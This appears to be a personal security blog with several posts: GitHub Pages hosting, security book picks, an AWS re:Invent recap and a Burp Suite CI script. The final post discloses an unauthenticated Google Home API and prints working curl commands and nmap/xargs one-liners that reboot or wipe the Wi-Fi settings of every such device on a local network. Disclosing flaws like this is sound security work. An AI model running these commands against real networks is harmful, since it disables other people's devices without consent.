Host Websites On Github

I have developed a bad habit of picking up vanity domain names and not really doing much with them. Last month at AWS Re:Invent I picked up and really wanted to do something with it but didn’t feel like maintaining, or paying for, a VPS so after doing some looking around I found that is was possible to point a custom domain to Github pages.

The documentation they provide is a little lacking, so I figured I would put together a small how to for anyone who wants to do this for themselves.

Configure Your Github Repo

  • Select Your Theme:
  • Decide What Branch You Want To Host The Page In:
  • Enter Your Domain Name:
  • Enforce HTTPS
  • Finally, Edit Your file With Your Content.

Configure DNS

DNS configuration is pretty straightforward. You want to add the following IP addresses to your custom resource records.
This is what my records look like.

You Now Have A Website

After you configure your repo and update you DNS settings within 15 minutes or so your website should be live.


This is a really such simple method of hosting a website I parked the rest of my vanity websites:

I hope this is helpful for other people looking to host a website quickly.

Favorite Security Books Of 2018

Here is a list of my favorite security books from 2018 if you are looking for that last minute gift or have some extra time around the holidays to catch up on some reading.  

The GCHQ Puzzle Book 2

I just got The GCHQ Puzzle Book 2, and like the original, it has quickly become the book that I always have in my bag.  It is full of amazingly challenging and thought-provoking problems.  It is easily the best gift you can give the security geek in your life this year. 

Cracking Codes with Python

Cracking Codes with Python: An Introduction to Building and Breaking Ciphers was a great (re)introduction to python development and cryptography concepts. While fairly basic in some places this book will be one I give out to people for years to come. 

Hands-On Security in DevOps

Hands-On Security in DevOps: Ensure continuous security, deployment, and delivery is a great book that covers at a high level what goes into succesfull starting and running a security program.  

Agile Application Security

Agile Application Security: Enabling Security in a Continuous Delivery Pipeline is a book that clearly explains how to make security work in an agile development environment.  This book will be a must-read for security professionals for years to come. 

Dawn of the Code War

Dawn of the Code War: America’s Battle Against Russia, China, and the Rising is a book by John Carlin that shows both how far the US Federal government has come and how far behind the rest of the world they are.  

Re:Invent Re:Cap & Re:ading

I spent this last week in Las Vegas attending AWS Re:Invent

This event is mind-numbingly massive with classes happening at 4 or 5 hotels all over the strip. I personally spent over an hour every day on their (nice but extremely slow) shuttle buses between the MGM Grand, Aria and the Sands Expo Center.

It would be impossible to see everything at this conference so throughout the week I compiled a list of services I wanted to investigate more, and I thought I would share them below.






Grab Bag

Closing Thoughts

I had a great time this year and learned a ton. I am looking forward to playing with Security Hub and to finish reading the AWS Well-Architected Framework PDF soon.

I am disappointed that DeepRacer seems to be AWS just taking the DonkeyCar model and close sourcing it without mentioning the original project, even after they have had DonekyCars at the last 2 re:invents.

Lastly, I interested to see if security is deemphasized next year with the announcement of a security-focused conference called re:inforce.

Automatically Create Github Issues From Burp 2.0

I have started using the Burp Suite 2.0 beta full time recently, and some of the new features I knew I wanted to explore more was the API and the CI Integration.  

I took a few hours this last week and built a small POC shell script that will scan a website and open Github Issues for all findings.  Here is the test repo I have been using to upload issues if you want to follow along at home.

This project is still in its *very* early stages, but if you want to play with what I have been working on below are directions to get started. 

What You Need

Running The Script

Download to the folder where you have burp-ci-driver-v1.0.5beta.jar saved.

Edit the following fields in the script:

min_severity_burp="low"  # Can Be Info|Low|Medium|High

Once that is done, running the script is as simple as: 

./ domainyouhavepermissiontoscan.tld

Reminder:  This is a full burp scan and can take anywhere from 10 mintues to many hours to complete depending on how big the site is. 

What’s Next:

  • Move From Gist To A Github Repo.
  • Add More Fields The Issues
    • Identify Duplicate Issues
  • Kenna Integration
  • JIRA / Service Now Tickets
  • Customizable Scanning and Crawling Profiles
  • Docker Container / VPS Build Script

Closing Thoughts

While I am just getting started with the CI tool, I was impressed that this only took 20 lines of shell code.   I plan on building out a lot more functionality and error checking over the next few months.

Google Home (in)Security

TL;DR: An undocumented API in Google home devices is easily exploitable.  

This command will reboot any on your local network:
nmap --open -p 8008 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot


I have always been a fan of Google Products, so when they announced the Google Home Hub, I ordered one.

Once I got the Hub on my network I scanned it and it returned the following:

Nmap scan report for hub
Host is up (0.046s latency).
Not shown: 995 closed ports
8008/tcp open http
8009/tcp open ajp13
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config

I was surprised to see so many ports open so I started to do some research and found that these devicies have an undocumented (and amazingly unsecured) API

After spending 15 or 20 minutes looking I found that you can reboot the hub with this unauthenticated curl command:  

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

I tweeted what happens when you run that command:

After I was able to get the Hub to reboot I was hooked and gave up a few hours of sleep to do some research and ended up finding a bunch of “good” information (see reading list at bottom). 

At the end of the night, I was extremely disappointed with the security of these devices especially coming from Google who I trust with so much of my data and is the driving force behind BeyondCorp

Technical Deep Dive

I am going to dive directly into sharing some of the commands I have found and the output and will end by showing how a bad actor could use this API.

Reboot The System:

$ curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
*   Trying hub...
* Connected to hub (hub) port 8008 (#0)

* Connection #0 to host hub left intact


List Currently Configured Network:

$ curl http://hub:8008/setup/configured_networks

Delete The Current Configured Network:

curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://hub:8008/setup/forget_wifi
*   Trying hub...
* Connected to hub (hub) port 8008 (#0)

> Accept: */*
> Content-Type:application/json
> Content-Length: 15
* upload completely sent off: 15 out of 15 bytes

This command basically makes the device unusable until you manually reconfigure it using the Google Home application:

Other Commands:

List Alarms and Timers:

$ curl http://hub:8008/setup/assistant/alarms

Disable All Notifcations:

$ curl -Lv -H Content-Type:application/json --data-raw '{ "notifications_enabled": true }' http://hub:8008/setup/assistant/notifications

Malicious Scripting 

Since none of these endpoints require authentication being malicious on a network with these present is trivial.  

This code will reboot all Google Home devices on the network:

nmap --open -p 8008 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

This code will delete the wireless network from every Google Home on the network causing a manual reconfgiruation

nmap --open -p 8008 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Closing Thoughts

I am genuinely shocked by how poor the overall security of these devices are, even more so when you see that these endpoints have been known for years and relatively well documented. 

I usually would have worked directly with Google to report these issues if they had not previously been disclosed, but due to the sheer amount of prior work online and committed code in their own codebase, it is obvious they know.
